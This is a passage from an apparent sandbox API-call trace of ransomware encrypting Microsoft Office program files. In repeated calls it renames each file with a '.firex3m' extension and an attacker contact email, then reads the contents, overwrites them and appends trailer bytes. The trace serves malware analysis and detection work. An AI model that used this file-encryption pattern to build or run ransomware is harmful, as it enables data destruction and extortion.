ftLastWriteTime.dwLowDateTime=0x2f9bde1a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x4e7fd20, dwReserved1=0x71f6c98, cFileName="VISIO_STD_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISIO_~3.FIR")) returned 0x6d5280 [0177.276] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0177.276] Sleep (dwMilliseconds=0x1) [0179.337] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2052\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2052\\PowerPivotExcelClientAddIn.rll") returned 1 [0179.337] GetProcessHeap () returned 0x630000 [0179.337] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ab0) returned 0x707d3d0 [0179.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2052\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\2052\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0179.338] CloseHandle (hObject=0x6e4) returned 1 [0179.338] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0179.338] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2052\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\2052\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2052\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\2052\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0179.339] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0179.339] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2052\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10a60, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5280 [0179.339] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0179.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2052\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\2052\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0179.339] GetProcessHeap () returned 0x630000 [0179.339] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74047b0 [0179.339] GetProcessHeap () returned 0x630000 [0179.339] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7453500 [0179.340] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.340] ReadFile (in: hFile=0x6e4, lpBuffer=0x74047b0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74047b0*, lpNumberOfBytesRead=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0187.353] GetProcessHeap () returned 0x630000 [0187.353] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0187.353] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.353] WriteFile (in: hFile=0x6e4, lpBuffer=0x7453500*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7453500*, lpNumberOfBytesWritten=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0187.354] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.354] WriteFile (in: hFile=0x6e4, lpBuffer=0x745e8ff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x745e8ff*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0187.354] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.354] WriteFile (in: hFile=0x6e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0187.354] CloseHandle (hObject=0x6e4) returned 1 [0187.354] GetProcessHeap () returned 0x630000 [0187.354] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7453500 | out: hHeap=0x630000) returned 1 [0187.354] GetProcessHeap () returned 0x630000 [0187.355] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74047b0 | out: hHeap=0x630000) returned 1 [0187.356] GetProcessHeap () returned 0x630000 [0187.356] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0187.356] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.356] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2052\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x359d8b6d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10a84, dwReserved0=0xbc87496, dwReserved1=0x74047a8, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d53c0 [0187.356] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0187.356] Sleep (dwMilliseconds=0x1) [0189.227] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR9F.GIF", len=0x49 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR9F.GIF") returned 1 [0189.227] GetProcessHeap () returned 0x630000 [0189.227] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2990) returned 0x707d3d0 [0189.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR9F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir9f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0189.229] CloseHandle (hObject=0x704) returned 1 [0189.229] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0189.229] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR9F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir9f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR9F.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir9f.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0189.231] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.231] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR9F.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x46ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR9F.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ZPDIR9~1.FIR")) returned 0x6d5480 [0189.231] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0189.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR9F.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir9f.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0189.231] GetProcessHeap () returned 0x630000 [0189.231] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4701) returned 0x705b9d0 [0189.231] GetProcessHeap () returned 0x630000 [0189.232] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4701) returned 0x70eb590 [0189.232] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.232] ReadFile (in: hFile=0x704, lpBuffer=0x705b9d0, nNumberOfBytesToRead=0x46e0, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x705b9d0*, lpNumberOfBytesRead=0x4e7ff0c*=0x46e0, lpOverlapped=0x0) returned 1 [0191.614] GetProcessHeap () returned 0x630000 [0191.614] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71773d0 [0191.614] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.615] WriteFile (in: hFile=0x704, lpBuffer=0x70eb590*, nNumberOfBytesToWrite=0x46e0, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70eb590*, lpNumberOfBytesWritten=0x4e7ff0c*=0x46e0, lpOverlapped=0x0) returned 1 [0191.615] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.615] WriteFile (in: hFile=0x704, lpBuffer=0x70efc6f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70efc6f*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0191.615] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.615] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0191.615] CloseHandle (hObject=0x704) returned 1 [0191.615] GetProcessHeap () returned 0x630000 [0191.615] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70eb590 | out: hHeap=0x630000) returned 1 [0191.615] GetProcessHeap () returned 0x630000 [0191.616] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x705b9d0 | out: hHeap=0x630000) returned 1 [0191.616] GetProcessHeap () returned 0x630000 [0191.616] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71773d0 | out: hHeap=0x630000) returned 1 [0191.616] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.616] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR9F.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x38280ca8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4710, dwReserved0=0xbc87496, dwReserved1=0x705b9c8, cFileName="ZPDIR9F.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ZPDIR9~1.FIR")) returned 0x6d5340 [0191.616] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0191.616] Sleep (dwMilliseconds=0x1) [0192.858] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx", len=0x4a | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx") returned 1 [0192.858] GetProcessHeap () returned 0x630000 [0192.858] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47ec) returned 0x7133a90 [0192.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0193.573] CloseHandle (hObject=0x698) returned 1 [0193.573] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0193.573] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialletter.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0200.497] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0200.497] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e536, dwReserved0=0x0, dwReserved1=0x0, cFileName="EssentialLetter.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ESSENT~3.FIR")) returned 0x6d5280 [0200.497] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0200.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialletter.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0200.497] GetProcessHeap () returned 0x630000 [0200.498] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73b2cc0 [0200.498] GetProcessHeap () returned 0x630000 [0200.498] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73be0f0 [0200.499] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.499] ReadFile (in: hFile=0x698, lpBuffer=0x73b2cc0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73b2cc0*, lpNumberOfBytesRead=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0206.708] GetProcessHeap () returned 0x630000 [0206.708] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0206.708] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.708] WriteFile (in: hFile=0x698, lpBuffer=0x73be0f0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73be0f0*, lpNumberOfBytesWritten=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0206.708] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.708] WriteFile (in: hFile=0x698, lpBuffer=0x73c94ef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73c94ef*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0206.709] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.709] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0206.709] CloseHandle (hObject=0x698) returned 1 [0206.709] GetProcessHeap () returned 0x630000 [0206.709] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73be0f0 | out: hHeap=0x630000) returned 1 [0206.709] GetProcessHeap () returned 0x630000 [0206.709] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73b2cc0 | out: hHeap=0x630000) returned 1 [0206.709] GetProcessHeap () returned 0x630000 [0206.709] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0206.710] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0206.710] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x41275f35, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e55a, dwReserved0=0xbc87496, dwReserved1=0x73b2cb8, cFileName="EssentialLetter.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ESSENT~3.FIR")) returned 0x6d5380 [0206.710] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0206.710] Sleep (dwMilliseconds=0x1) [0208.917] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\THMBNAIL.PNG", len=0x6f | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\THMBNAIL.PNG") returned 1 [0208.917] GetProcessHeap () returned 0x630000 [0208.917] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4dd8) returned 0x6fe4288 [0208.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\rmnsque\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0208.993] CloseHandle (hObject=0x4d4) returned 1 [0208.994] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0208.994] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\rmnsque\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\rmnsque\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0224.398] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0224.398] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0xe408c02c, dwReserved1=0x63005b, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d51c0 [0224.402] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0224.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\rmnsque\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0224.402] GetProcessHeap () returned 0x630000 [0224.402] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74befb8 [0224.485] GetProcessHeap () returned 0x630000 [0224.485] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74ca3e8 [0224.485] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.485] ReadFile (in: hFile=0x4b8, lpBuffer=0x74befb8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74befb8*, lpNumberOfBytesRead=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0225.707] GetProcessHeap () returned 0x630000 [0225.707] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71769f8 [0225.707] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 